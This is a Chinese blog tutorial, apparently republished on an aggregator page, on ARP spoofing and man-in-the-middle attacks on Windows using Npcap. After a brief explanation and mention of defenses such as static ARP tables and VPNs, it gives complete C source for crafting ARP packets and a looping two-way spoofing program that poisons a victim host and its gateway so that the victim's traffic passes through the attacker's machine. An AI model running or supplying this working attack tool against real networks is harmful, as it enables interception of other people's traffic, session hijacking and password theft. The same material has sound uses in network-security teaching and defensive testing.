18.3 NPCAP 构建中间人攻击

news2024/12/23 14:07:26

ARP欺骗(ARP Spoofing)是一种网络攻击手段,其目的是通过欺骗目标主机来实现网络攻击。ARP协议是一种用于获取MAC地址的协议,因此欺骗者可以使用ARP欺骗来迫使其目标主机将网络流量发送到攻击者控制的设备上,从而实现网络攻击。

ARP欺骗攻击通常包括以下步骤:

  • 攻击者在本地网络上广播ARP请求,请求目标主机的MAC地址。
  • 目标主机发送应答报文,包括其MAC地址。
  • 攻击者对目标主机和其它主机发送伪造的ARP应答报文,指定攻击者的MAC地址为目标主机的MAC地址。
  • 接收到欺骗者发来的ARP应答的主机会把欺骗者的MAC地址缓存,在下次发送数据包时,会把网络数据发送给欺骗者控制的设备,从而攻击者就可以截获、修改或者干扰数据传输。

ARP欺骗攻击通常可以用于实现中间人攻击、会话劫持、密码盗窃等网络攻击,因此网络管理人员和用户都应当了解如何防范和检测ARP欺骗攻击。常见的防范手段包括静态ARP表、ARP监控工具、虚拟专用网络(VPN)等。

构建并发送ARP数据包

通过使用Npcap实现发送一个ARP广播数据包,这里需要先在本地构建数据包的结构,然后再将其格式化为字符串数据包,并发送出去,ARP数据包总长度为42字节,其中需要包含14字节EthernetHeader以太网包头,在其下是长度为28字节的ArpHeader数据包头,在数据包发送时需要将两者组合起来,代码中通过ArpPacket包将两个包头串联在一起,如下是需要发送ARP数据包的具体构造结构。

#include <winsock2.h>
#include <Windows.h>
#include <pcap.h>

#pragma comment(lib, "packet.lib")
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib,"WS2_32.lib")

// 以太网帧类型 对于ARP请求或应答该字段的值为x0806
#define ETH_ARP 0x0806

// 硬件类型字段值为表示以太网地址
#define ARP_HARDWARE 1

// 协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
#define ETH_IP 0x0800

// ARP请求与ARP应答
#define ARP_REQUEST 1
#define ARP_RESPONSE 2

// 14字节以太网首部
struct EthernetHeader
{
  u_char DestMAC[6];    // 目的MAC地址6字节
  u_char SourMAC[6];    // 源MAC地址 6字节
  u_short EthType;      // 上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp2字节
};

// 28字节ARP帧结构
struct ArpHeader
{
  unsigned short hdType;    // 硬件类型
  unsigned short proType;   // 协议类型
  unsigned char hdSize;     // 硬件地址长度
  unsigned char proSize;    // 协议地址长度
  unsigned short op;        // 操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
  u_char smac[6];           // 源MAC地址
  u_char sip[4];            // 源IP地址
  u_char dmac[6];           // 目的MAC地址
  u_char dip[4];            // 目的IP地址
};

// 42字节的ARP数据包总长度
struct ArpPacket
{
  EthernetHeader eh;
  ArpHeader ah;
};

实现数据包发送的第二步是绑定网卡,针对绑定网卡此处封装实现了SelectNetworkHandle函数,该函数通过传入一个网卡序号下标,当收到网卡下标后寻找该小标所对应的网卡句柄,找到后返回一个pcap_t结构的网卡句柄,如下所示;

// 获取到指定网卡的句柄
pcap_t * SelectNetworkHandle(int nChoose)
{
  // 打开网络适配器,捕捉实例,是pcap_open返回的对象
  pcap_t *pcap_handle;
  pcap_if_t *alldevs;

  // 错误缓冲区,大小为256
  char errbuf[PCAP_ERRBUF_SIZE];

  // 获取到所有设备列表
  if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
  {
    exit(0);
  }

  // 找到指定的网卡设备
  for (int x = 0; x < nChoose - 1; ++x)
  {
    alldevs = alldevs->next;
  }

  // 绑定网卡并设置混杂模式
  if ((pcap_handle = pcap_open(alldevs->name,      // 设备名
    65536,                                       // 每个包长度
    PCAP_OPENFLAG_PROMISCUOUS,                   // 混杂模式
    1000,                                        // 读取超时时间
    NULL,                                        // 远程机器验证
    errbuf                                       // 错误缓冲池
    )) == NULL)
  {
    pcap_freealldevs(alldevs);
    exit(0);
  }
  return pcap_handle;
}

接着就是要构造并发送ARP数据包了,对于发包而言我们需要依赖于pcap_sendpacket函数,该函数是libpcap库的一部分,专门用于发送各类数据包结构,该函数原型如下:

int pcap_sendpacket(pcap_t *p, const u_char *buf, int size);

函数用于以原始形式发送数据包,其中参数含义如下:

  • p:指向设备的 pcap_t 指针。
  • buf:指向待发送数据包的缓冲区。
  • size:待发送数据包的大小,以字节为单位。

该函数返回值为发送数据包的状态,如果函数返回 -1,则表示出现错误,否则返回发送的字节数。

有了这个函数那么我们只需要构建属于自己的数据包即可,如下则是主函数的实现流程,在这代码中我们可以看到用于组合ARP数据包的结构体 ArpPacket 包括了以太网包头 EthernetHeaderARP包头 ArpHeader。其中,以太网包头中包括了源MAC地址、目的MAC地址和以太网类型,而ARP包头中则包括了硬件类型、协议类型、硬件地址长度、协议地址长度、操作类型(ARP请求或ARP响应)以及源MAC地址、源IP地址、目的MAC地址和目的IP地址等信息。

在数据包的构造完成后,程序进入了一个循环,每隔1秒钟发送一次数据包,总共发送100次。发送的数据包以 sendbuf 变量的形式进行传输,大小为42字节(即ARP包的结构体大小)。在每次成功发送数据包后,程序会在控制台输出一条带有发送次数的消息。

int main(int argc, char *argv[])
{
  // 打开网络适配器
  pcap_t *handle;

  // 定义以太网包头
  EthernetHeader eh;

  // 定义ARP包头
  ArpHeader ah;

  // 组合完整的ARP数据包
  ArpPacket arp;

  // 定义发包缓冲区 ARP包结构大小42字节
  unsigned char sendbuf[42];

  // 定义原MAC地址和原IP地址,此处是十六进制
  unsigned char src_mac[6] = { 0xaa, 0xaa, 0xaa, 0xaa, 0xff, 0xff };
  unsigned char src_ip[4] = { 0x01, 0x02, 0x03, 0x04 };

  // 根据下标选中特定网卡
  handle = SelectNetworkHandle(8);

  // 开始填充ARP包
  memset(arp.eh.DestMAC, 0xff, 6);      // 以太网首部目的MAC地址,全为广播地址
  memcpy(arp.eh.SourMAC, src_mac, 6);   // 以太网首部源MAC地址
  memcpy(arp.ah.smac, src_mac, 6);      // ARP字段源MAC地址
  memset(arp.ah.dmac, 0xff, 6);         // ARP字段目的MAC地址
  memcpy(arp.ah.sip, src_ip, 4);        // ARP字段源IP地址
  memset(arp.ah.dip, 0x05, 4);          // ARP字段目的IP地址

  // 赋值MAC地址
  arp.eh.EthType = htons(ETH_ARP);      // 将无符号短整数转成网络字节序
  arp.ah.hdType = htons(ARP_HARDWARE);
  arp.ah.proType = htons(ETH_IP);
  arp.ah.hdSize = 6;
  arp.ah.proSize = 4;
  arp.ah.op = htons(ARP_REQUEST);

  // 构造一个ARP请求
  memset(sendbuf, 0, sizeof(sendbuf));            // ARP清零
  memcpy(sendbuf, &arp, sizeof(arp));             // 将结构体变为字符串

  // 循环发包
  for (size_t i = 0; i < 100; i++)
  {
    // 发送数据包
    if (pcap_sendpacket(handle, sendbuf, 42) == 0)
    {
      printf("[Send] 发送 %d 次 \n", i);
    }
    Sleep(1000);
  }

  system("pause");
  return 0;
}

读者可自行运行上述代码片段,当运行后则会发送100ARK数据包,通过使用wireshark即可抓取到这个由我们自己构造的数据包,输出效果图如下图所示;

实现ARP中间人欺骗

ARP欺骗通常是双向欺骗。攻击者首先会向受害者发送一个虚假的ARP响应报文,欺骗其将攻击者的MAC地址与网关的IP地址相对应。这使得受害者将其所有的网络流量发送到了攻击者的设备上,浏览网页、输入密码等所有的网络行为都会被攻击者截获,从而达到窃取网络数据的目的。

同时,攻击者还需要给网关发送一个虚假的ARP响应报文,欺骗其将攻击者的MAC地址与受害者IP地址相对应,这样攻击者就可以中继网关和受害者之间的流量,并监视其所有的网络流量。这种攻击方式被称为双向欺骗,因为攻击者不仅欺骗了受害者,还欺骗了网关,形成了一种双向的欺骗关系。

为了实现欺骗此处我们同样先来定义一些结构体变量,这些结构体变量的解释,读者也可以自行打开抓包软件并捕捉一个数据包进行分析,公开资料在网络平台也可很容易得到。

// arp应答/请求(28字节)
#define ARP_HARDWARE 0x0001  // arp_hrd:以太网
#define ARP_REQUEST 0x0001   // arp_op: 请求 request 
#define ARP_REPLY 0x0002     // arp_op: 应答 reply 

// 使结构体按1字节方式对齐
#pragma pack(push, 1)

// 以太网头部(14字节)
#define EPT_IP 0x0800       // eh_type: IP 
#define EPT_ARP 0x0806      // eh_type: ARP 
#define EPT_RARP 0x8035     // eh_type: RARP

typedef struct
{
  UCHAR eh_dst[6];        // 接收方MAC地址 
  UCHAR eh_src[6];        // 发送方MAC地址 
  USHORT eh_type;         // 上层协议类型 
}EH_HEADR, *P_EH_HEADR;

typedef struct
{
  USHORT arp_hrd;          // 硬件类型 
  USHORT arp_pro;          // 协议类型 
  UCHAR  arp_hln;          // 硬件(MAC)地址长度 
  UCHAR  arp_pln;          // 协议(IP )地址长度 
  USHORT arp_op;           // 包类型:请求、应答
  UCHAR  arp_sha[6];       // 发送发硬件地址 (应答时,此处可欺骗)
  ULONG  arp_spa;          // 发送方协议地址 (应答时,此处可欺骗)
  UCHAR  arp_tha[6];       // 接收方硬件地址 (请求时,此处无用)
  ULONG  arp_tpa;          // 接收方协议地址 
}ARP_HEADR, *P_ARP_HEADR;

// ARP协议栈
typedef struct
{
  EH_HEADR ehhdr;
  ARP_HEADR arphdr;
} ARP_PACKET, *P_ARP_PACKET;

封装一个ChangeMacAddr函数,该函数用于把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址UCHAR类型,以便在网络编程中使用。

输入MAC地址字符串XX-XX-XX-XX-XX-XX形式,其中XX表示两个16进制数的组合,表示一个字节,而-作为分隔符。程序通过循环遍历每个XX,分别解析出高低两位,然后将其转换为UCHAR类型的字节值赋给新的数组a。该函数的返回值为void,不返回任何数据。

void ChangeMacAddr(char *p, UCHAR a[])
{
  char* p1 = NULL;
  int i = 0;
  int high, low;
  char temp[1];
  for (i = 0; i < 6; i++)
  {
    p1 = p + 1;

    // 计算低位的16进进制
    switch (*p1)
    {
    case 'A': low = 10;        break;
    case 'B': low = 11;        break;
    case 'C': low = 12;        break;
    case 'D': low = 13;        break;
    case 'E': low = 14;        break;
    case 'F': low = 15;        break;
    default: temp[0] = *p1;

      // 如果为数字就直接转变成对应的数值
      low = atoi(temp);
    }

    // 计算高位的16进制
    switch (*p)
    {
    case 'A': high = 10;       break;
    case 'B': high = 11;       break;
    case 'C': high = 12;       break;
    case 'D': high = 13;       break;
    case 'E': high = 14;       break;
    case 'F': high = 15;       break;
    default: temp[0] = *p;

      // 如果为数字就直接转变成对应的数值
      high = atoi(temp);
    }

    // 指针指向下一个X(高)X(低)字符串
    p += 2;

    // 求和得16进制值
    a[i] = high * 16 + low;
  }
}

封装两个函数,其中makeArpPacket用于传入源地址与目标地址构建出一个特有的ARP数据包,并返回数据给ARPPacket指针,sendArpPacket用于发送ARP数据包,该函数接收一个ARPPacket数据包即可。

BOOL makeArpPacket(ARP_PACKET &ARPPacket, char * srcMac, char * srcIP, char * dstMac, char * dstIP)
{
  UCHAR MacAddr[6] = { 0 };

  // 以太网头
  ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst);   // 目的MAC地址
  ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src);   // 源MAC地址
  ARPPacket.ehhdr.eh_type = htons(EPT_ARP);        // 数据类型ARP请求或应答

  // ARP头                                     
  ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);  // 硬件地址为0x0001表示以太网地址
  ARPPacket.arphdr.arp_pro = htons(EPT_IP);        // 协议类型字段为0x0800表示IP地址
  ARPPacket.arphdr.arp_hln = 6;                    // 硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度
  ARPPacket.arphdr.arp_pln = 4;                    // 以字节为单位对于以太网上IP地址的ARP请求或应答来说它们的值分别为6和4
  ARPPacket.arphdr.arp_op = htons(ARP_REPLY);      // ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4
  ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); // 发送方源MAC地址(欺骗的MAC地址)
  ARPPacket.arphdr.arp_spa = inet_addr(srcIP);     // 发送方源IP地址 (欺骗的MAC地址)
  ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); // 目标的MAC地址 
  ARPPacket.arphdr.arp_tpa = inet_addr(dstIP);     // 目标的IP地址

  return TRUE;
}

// 发送ARP数据包
BOOL sendArpPacket(pcap_t * fp, ARP_PACKET &ARPPacket)
{
  if (pcap_sendpacket(fp, (const u_char *)&ARPPacket, sizeof(ARPPacket)) != 0)
  {
    return TRUE;
  }
  return FALSE;
}

最后一步则是发送数据包以实现欺骗的效果,首先通过SelectNetworkHandle选中需要欺骗的网卡,接着我们通过makeArpPacket函数分别构建两个数据包,其中一个用于构建欺骗受害者,另一个用于构建欺骗网关,最后通过循环的方式sendArpPacket发送两个数据包分别到路由器与客户端之间,则可实现对特定主机的欺骗效果。

int main(int argc, char *argv[])
{
  pcap_t *handle;
  EH_HEADR eh;
  ARP_HEADR ah;
    
  handle = SelectNetworkHandle(8);

  // 填充数据包
  ARP_PACKET ARPPacket_dst = { 0 };     // 欺骗目标
  ARP_PACKET ARPPacket_gate = { 0 };    // 欺骗网关

  // 欺骗受害者我是网关 (原MAC地址/原IP地址 --> 目标MAC地址/目标IP地址)
  makeArpPacket(ARPPacket_dst, "000000000000", "192.168.1.1", "c89cdcad3a39", "192.168.1.10");

  // 欺骗网关我是受害者 (原MAC地址/原IP地址 --> 目标MAC地址/目标IP地址)
  makeArpPacket(ARPPacket_gate, "c89cdcad3a39", "192.168.1.10", "000000000000", "192.168.1.1");

  while (true)
  {
    // 发送数据包
    sendArpPacket(handle, ARPPacket_dst);
    sendArpPacket(handle, ARPPacket_gate);
    printf("[发送欺骗数据包] \n");
    Sleep(3000);
  }

  pcap_close(handle);

  system("pause");
  return 0;
}

读者可自行运行上述这段代码,并打开抓包工具查看效果,此时针对于客户端以及路由器都进行了双向数据包欺骗,当客户端被成功欺骗后,则我们的主机中将会出现被害主机的完整数据包,此时就可以对数据包进行各类分析,以获取有用的线索。

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/37d71f45.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1139410.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

error LNK2019: 无法解析的外部符号

文章目录 1 问题2 出现该问题的原因和解决方法2.1 原因&#xff1a;2.3 解决方法&#xff1a;需要查看一下项目的属性配置是否正确&#xff1a; 3 其他可能得原因&#xff0c;但是本项目中没有出现 1 问题 在测试base64代码的时候&#xff0c;VS2022提示我错误如下&#xff1a…

Julia数值计算初步

文章目录 复数系统运算符三角函数指数、对数、取整 Julia系列&#xff1a;编程初步&#x1f525;数组 Julia作为主打数值计算的编程语言&#xff0c;对一些常用的计算函数提供了非常细致的支持&#xff0c;十分人性化&#xff0c;体验之后爱不释手。 复数系统 在Juli中&…

笔记本怎么录屏?这3个方法请你收好

在现代教育、工作和演示中&#xff0c;屏幕录制成为了无可替代的工具。它使我们能够捕捉电脑屏幕上的一切&#xff0c;从PPT演示到教程制作&#xff0c;再到技术支持。因此&#xff0c;选择合适的录屏工具显得尤为重要。本文将详细介绍笔记本怎么录屏的3个方法&#xff0c;这些…

软件绘制 硬件加速绘制 【DisplayList RenderNode】

Android4.0以后&#xff0c;系统默认开启硬件加速来渲染视图 异同点 共同点 两者都是从SF获取一块内存&#xff0c;绘制都是在APP端&#xff0c;绘制好后都是通知SF去进行合成图层 真正的区别 真正的区别&#xff1a;绘制是通过CPU还是GPU完成的视图绘制。 对应区别在代码中的体…

SpringBoot整合Gateway 的Demo(附源码)

源码&#xff0c;可直接下载 Gateway模块 Gateway 的父pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:sc…

学习嵌入式可以胜任哪一些行业?

今日话题&#xff0c;学习嵌入式可以胜任哪一些行业&#xff1f;学习嵌入式开发可以胜任许多行业&#xff0c;因为嵌入式技术在各个领域都有广泛的应用。嵌入式系统用于医疗设备、患者监测系统、药物分发设备等。智能手机、智能家居设备、游戏机等消费电子产品都包含嵌入式系统…

RocketMQ mmap原理和使用

传统文件IO 普通的IO操作的一个弊端&#xff0c;必然涉及到两次数据拷贝操作&#xff0c;对磁盘读写性能是有影响的。 那么如果我们要将一些数据写入到磁盘文件里去呢&#xff1f; 那这个就是一样的过程了&#xff0c;必须先把数据写入到用户进程空间里去&#xff0c;然后从这里…

网络时代下的声音之路:如何在中央新闻媒体发布网评稿

在当今数字时代&#xff0c;信息传播已经变得更加便捷和广泛。各大中央新闻媒体平台为民众提供了一个发布观点、表达意见的平台。在这个背景下&#xff0c;撰写并发布网评稿成为了一种重要的社会参与方式。根据媒介易软文发稿平台的总结&#xff0c;下面是探讨如何在各大中央新…

基于单片机的IC卡门禁系统设计

收藏和点赞&#xff0c;您的关注是我创作的动力 文章目录 概要 一、主要研究内容及总体设计方案1.1 系统方案设计1.2系统工作原理 二、硬件设计2.1 主控电路 三、软件设计3.2主程序设计实物附录1 原理图附录2 源程序清单 四、 结论五、 文章目录 概要 本论文重点通过对射频技术…

电脑上怎么录制视频教程带画笔工具?

无论你是创建教程、还是演示文稿&#xff0c;可能都希望使用带有画笔工具的录屏软件来帮助你创建吸引观众注意力的重要内容。幸运的是&#xff0c;有一些很棒的录屏软件可供你选择&#xff0c;本文就为你推荐一款带有画笔工具的最佳录屏软件&#xff0c;继续阅读查看吧&#xf…

明基、书客、小米的护眼台灯谁的更值得入手?三款台灯真实测评!

目前中国青少年近视占比是越来越高了&#xff0c;尤其是初中生更是重灾区。而现在看来小学阶段近视风险也有上升的趋势。所以&#xff0c;孩子在正式步入小学时&#xff0c;学习桌上不可或缺的就要放上一台好的且不错的护眼台灯。不过如今市面上的护眼台灯种类多到让人眼花缭乱…

Maven第三章:IDEA集成与常见问题

Maven第三章:IDEA集成与常见问题 前言 本章内容重点:了解如何将Maven集成到IDE(如IntelliJ IDEA或Eclipse)中,以及使用过程中遇到的常见的问题、如何解决,如何避免等,可以大大提高开发效率。 IEAD导入Maven项目 File ->Open 选择上一章创建的Maven项目 my-app查看po…

echarts多y轴优化方案

优化方向&#xff1a;点击图例&#xff0c;对y轴进行屏蔽&#xff0c;自动计算y轴位置 效果如下&#xff1a; 对应实现思路&#xff1a;通过监听图例点击事件&#xff0c;渲染y轴显示隐藏和y轴对应位置。 <script setup lang"ts"> import { onMounted, ref,…

简述JVM

文章目录 JVM简介JVM运行时数据区堆(线程共享)方法区/元空间/元数据区(线程共享)栈程序计数器 JVM类加载类加载过程双亲委派模型 垃圾回收机制(GC)判断对象是否为垃圾判断是否被引用指向 如何清理垃圾, 释放对象? JVM简介 JVM 是 Java Virtual Machine 的简称, 意为Java虚拟机…

代码随想录打卡第五十二天|123.买卖股票的最佳时机III ● 188.买卖股票的最佳时机IV

123.买卖股票的最佳时机III 题目&#xff1a; 给定一个数组&#xff0c;它的第 i 个元素是一支给定的股票在第 i 天的价格。设计一个算法来计算你所能获取的最大利润。你最多可以完成两笔交易。注意&#xff1a;你不能同时参与多笔交易&#xff08;你必须在再次购买前出售掉之…

iPhone无法连接电脑?怎么回事?解决方法来了!

苹果用户将手机和电脑连接后&#xff0c;可以轻松实现两者之间的数据传输。但是&#xff0c;在连接设备的过程中可能会出现没有任何反应的情况。这是怎么回事&#xff1f;本文将为大家介绍解决iPhone无法连接电脑的常见方法。如果您的iphone无法连接电脑&#xff0c;请尝试以下…

导入Embassy库进行爬虫

Embassy是一个基于Lua的轻量级爬虫框架&#xff0c;可以方便地进行网页抓取和数据提取。它提供了简单易用的接口和丰富的功能&#xff0c;可以帮助开发者快速构建爬虫应用。 要使用Embassy进行爬虫&#xff0c;首先需要安装Embassy库。可以通过Lua的包管理工具luarocks来安装E…

如何用MFI确定波浪理论第一浪,anzo capital实操演示

通过上文投资者学会了如何确定波浪理论第一浪&#xff0c;但在后台有投资者咨询 &#xff1a;如何用MFI确定波浪理论第一浪&#xff0c;anzo capital昂首资本秉承着有求必应的态度&#xff0c;今天实操进行演示。 在图中&#xff0c;发散用蓝色标注&#xff0c;收敛用绿色。价…

深入理解Linux网络笔记(四):内核是如何发送网络包的

本文为《深入理解Linux网络》学习笔记&#xff0c;使用的Linux源码版本是3.10&#xff0c;网卡驱动默认采用的都是Intel的igb网卡驱动 Linux源码在线阅读&#xff1a;https://elixir.bootlin.com/linux/v3.10/source 3、内核是如何发送网络包的 1&#xff09;、网络包发送过程…

聚观早报 |2024款飞凡R7官宣;小米14新配色材质

【聚观365】10月27日消息 2024款飞凡R7官宣 小米14新配色材质 金山办公2023第三季度业绩 IBM2023第三季度业绩 新东方2024财年第一季度业绩 2024款飞凡R7官宣 飞凡汽车官宣&#xff0c;2024款飞凡R7将于11月上市&#xff0c;新车将搭载飞凡巴赫座舱&#xff0c;同时超过1…